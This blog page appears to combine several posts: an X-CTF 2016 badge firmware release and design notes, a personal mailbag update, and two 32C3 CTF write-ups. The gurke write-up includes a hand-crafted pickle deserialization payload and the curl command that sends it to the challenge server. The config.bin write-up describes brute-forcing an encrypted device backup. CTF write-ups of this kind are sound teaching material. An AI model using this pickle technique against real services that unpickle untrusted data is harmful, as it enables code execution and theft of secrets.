X-CTF 2016 Badge Firmware

As promised, we are releasing the source code for the X-CTF badge, about 1 month after the event to give interested participants the chance to take a crack at it. If you are interested in the badge design process, check out my previous post on the hardware aspects.

Jeremias and Jeremy gave a talk at one of the Null Security meetups. Check out the slides if you haven’t already. In one part, Jeremy talks about the custom firmware he wrote for his badge and the additional challenges he set up for partipants to get more points. The 2nd part of the talk covers the electronic badge and challenges.

The Challenges

The challenges try to exploit the nature of being a self-contained electronic device. Rather than trying to replicate more CTF puzzles and simply placing them into the badge, we specially designed them for the badge.

You can find the answers to the badge puzzles (and the main CTF puzzles) in the X-CTF GitHub repo, which was released shortly after the event.

Since there’s only a single entry point into the set of challenges (meaning you must solve each puzzle before getting to the next), the puzzles must be designed with increasing levels of difficulty; too difficult and the participants will totally give up.

Stage 1: Catch Me If You Can

animation of challenge 1

I particularly like this one. Unlike a program running on the computer, you can’t easily snapshot the state of the program, nor try to influence (slow down) its execution.

Continue reading

Designing the X-CTF 2016 Badge

X-CTF 2016 badge with Lithium-ion battery attached

I had the opportunity to collaborate with some NUS students to design the electronic badge for their X-CTF event this year.

The purpose of the badge was to inspire more people to take an interest in hardware hacking, or to get them started on electronics. With so much hype on the Internet-of-Things (IoT) these days, what better idea than to let participants take home their very own IoT device. The super low cost WiFi chip, Expressif’s ESP8266, made this possible. We also wanted it to be shaped like a gaming device, with a D-pad and an LCD.

You can see the final badge design above: a ESP8266-based board with a backlit monochrome Nokia LCD, D-pad and a SELECT button. Powered by a lithium-ion battery, charged via the USB port, which also provides a serial connection to the ESP8266.

I was inspired by the SyScan 2015 badge. It was so simple and spartan: a monochrome LCD, an LED, a 5-way joystick switch and a 32-bit ARM processor (on the back). As the regulator was built-in and it runs all the way down to 2.4V, there was no need for an external regulator.

SyScan 2015 electronic badge

Continue reading

Quick Update: Mailbag and WIP

Sorry I haven’t been updating the blog often enough.

I have been busy helping out with an electronics project, which will be in the hands of users very soon. There will be a detailed post on the project when that happens this coming weekend. For now, here’s a mysterious peek at its progress:

Ever since I made my first purchase on AliExpress, I have been buying random stuff and they’ve been arriving in batches. On a particular week, they might all combine to form a small pile, somewhat like this:

small pile of mailbag items

If you enjoy watching people buy stuff on AliExpress, eBay, or wherever else and taking them to bits, check out these YouTube channels I subscribe to:

I prefer bigclivedotcom because he shares a lot of insight from his previous job during the teardowns and draws the schematic for most of the items he takes apart.

A protip when buying on AliExpress is to read the reviews first. This may be obvious, but I didn’t do it for the first few items and managed to get away with it, until one incident when my luck apparently ran out. Now I prefer sellers with better reviews over those who offer the lowest price for a particular item. I also pay it forward by contributing to reviews with photos and technical details of the items, to help buyers like myself.

So what can you get on AliExpress?

  • Tools like spudgers, device openers, anti-static poking sticks
  • Soldering iron tips, to complement the soldering iron I just bought
  • Chinese components, like the popular ESP8266
  • Breakout boards
  • Alternative ARM boards, like the Orange Pi One that rivals the Raspberry Pi 2 in terms of price & performance

I bought quite a lot of stuff to work on and I’ll be writing about those projects in time.

A surprise package also came in last week. Unlike the other packages delivered via regular mail, this one was shipped via FedEx.

MPLAB Xpress on the FedEx Small Box it came in

Inside the FedEx Small Box was an even smaller box — the Microchip MPLAB Xpress Evaluation Board. I signed up shortly after I saw the announcement on Hackaday in February and heard nothing back. It took 4 months but I’m supposedly one of the lucky 2,000 sign-ups who received the board for free.

On the evaluation board there’s a PIC16F18855 microcontroller, together with a very under-utilized PIC18F25K50, which presents itself as a USB mass storage device when plugged in and serves to programs the PIC16F. MPLAB Xpress is a cloud-based IDE requiring no installation, and using this mass storage programming approach you don’t need any special USB drivers for the programmer. I’ll give that a go and report back here in a separate blog post.

In the meantime, stay tuned for the post on the mystery project this weekend!

32C3 CTF Write-up: gurke

gurke (misc)

For this challenge, you are provided with a Python-based service that accepts a pickle and displays the result. You will need to coerce it to display the flag though, which is initialized at the start of the service.

The service can be succinctly represented as follows:

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
flag = Flag()

...

data = os.read(0, 4096)
try:
    res = pickle.loads(data)
    print 'res: %r\n' % res except Exception as e:
    print >>sys.stderr, "exception", repr(e)

In between there’s a omitted portion that uses seccomp to make sure you don’t obtain the flag through the socket connection. In essence, you need to cause the unpickling process to read the flag attribute from the Flag instance.

Pickling and unpickling is quite commonly used in Python for persistence, much like Java’s serialization mechanism. However, it is implemented in Python using a simple stack-based virtual machine. By sending a specially-crafted pickle, we can cause arbitrary code execution. The Python code to read the flag looks something like this:

a = __main__.flag
return __builtin__.getattr(a, 'flag')

This has to be converted into the Pickle VM opcodes by hand. You can see below that the pickle opcodes are quite a close match to the Python code. Also note that Python has a handy disassembler that dumps the pickle opcodes:

import pickletools

exploit = """c__main__\nflag
p100
0c__builtin__\ngetattr
(g100
S'flag'
tR."""

pickletools.dis(exploit)

  0: c    GLOBAL     '__main__ flag'
 15: p    PUT        100
 20: 0    POP
 21: c    GLOBAL     '__builtin__ getattr'
 42: (    MARK
 43: g        GET        100
 48: S        STRING     'flag'
 56: t        TUPLE      (MARK at 42)
 57: R    REDUCE
 58: .    STOP

Note that Python triple-quotes will capture newlines into the string. Now the exploit pickle needs to be placed in a file and sent off using curl to our target:

$ curl -vv -X POST --data-binary @t.pickle http://136.243.194.43/
* About to connect() to 136.243.194.43 port 80 (#0)
*   Trying 136.243.194.43... connected
* Connected to 136.243.194.43 (136.243.194.43) port 80 (#0)
> POST / HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host: 136.243.194.43
> Accept: */*
> Content-Length: 60
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
* no chunk, no close, no size. Assume close to signal end
<
1: res: '32c3_rooDahPaeR3JaibahYeigoong'

retval: 0
* Closing connection #0

Further reading for Python pickles and security:

32C3 CTF Write-up: config.bin

config.bin (forensics)

You are provided with what they say is “a configuration backup of an embedded device”, and that “it seems to be encrypted”.

Opening the file with a hex editor to look for any magic identifiers:

00: 4346 4731 0000 32d0 ef92 7ab0 5ab6 d80d  CFG1..2...z.Z...
10: 3030 3030 3030 0000 0005 0003 0000 0000  000000..........
20: 6261 47c3 d43b af2f 9300 bcaf adf4 5c8c  baG..;./......\.
30: 3d02 9ea5 0bb7 3ce0 00f4 c5b3 901e d5fb  =.....<.........

It doesn’t look familiar, so ask Google about the CFG1 file. On the second or third results page, I found this link talking about an IAD backup file in which the backup file format resembles our mystery file.

The page further notes that encryption is done through AES-256 in ECB mode, and that the 256-bit key is the ASCII string “dummy” with the rest zero-filled. There’s even a tool to decrypt it. After downloading the tool and running it, you will soon realize that the default password doesn’t work (obviously).

Fear not. This file format is pretty helpful for us though. Notice there’s a field called password_len_be, which is the length of the AES password string and plaintext_md5, which is the MD5 hash of the decrypted data. With these 2 fields (maybe just the last one), we can automate the bruteforcing.

Our file header says that a 5 character password is used (phew), but the character set is unknown. It could be all 256 characters, or hopefully just an alphanumeric string (I assumed the latter).

I wrote a multi-threaded Golang bruteforcer (which you can download here). I guess this is the time I wish I had access to a really fast machine. After an hour, it found the password:

> go run bruteforce-cfg1.go config.bin
hdr hash = ef927ab05ab6d80d98c3be34a50db59c
data hash = 626147c3d43baf2f9300bcafadf45c8c
found password! oVX09

Decode it with the tool, and you will find a gzipped file config.tgz. After uncompressing it, I noticed the passwords were all short and didn’t have the regular 32C3_ prefix, until I found a suspiciously long one:

...
TR069_INTERFACE="nas1.20"
ACS_SERVERTYPE="default"
PROVISIONING_CODE=""
USERNAME="001C28-2021979797845"
PASSWORD="MzJDM19jNDQ2ZWRlMjMzY2RmY2IxNzdmNGQwZTU2NzQ0NjU0Mjg5YzhkZWE0YzRlZTY1MTI2NGU4\nNWU5YWU2MmFiZjc3"
CR_USERNAME="45ad2c9f00d48"
CR_PASSWORD="45ad2c9f00d48"
...

Using Python for base64 decoding:

>>> from base64 import b64decode
>>> b64decode('MzJDM19jNDQ2ZWRlMjMzY2RmY2IxNzdmNGQwZTU2NzQ0NjU0Mjg5YzhkZWE0YzRlZTY1MTI2NGU4\nNWU5YWU2MmFiZjc3')
'32C3_c446ede233cdfcb177f4d0e56744654289c8dea4c4ee651264e85e9ae62abf77'

And voila!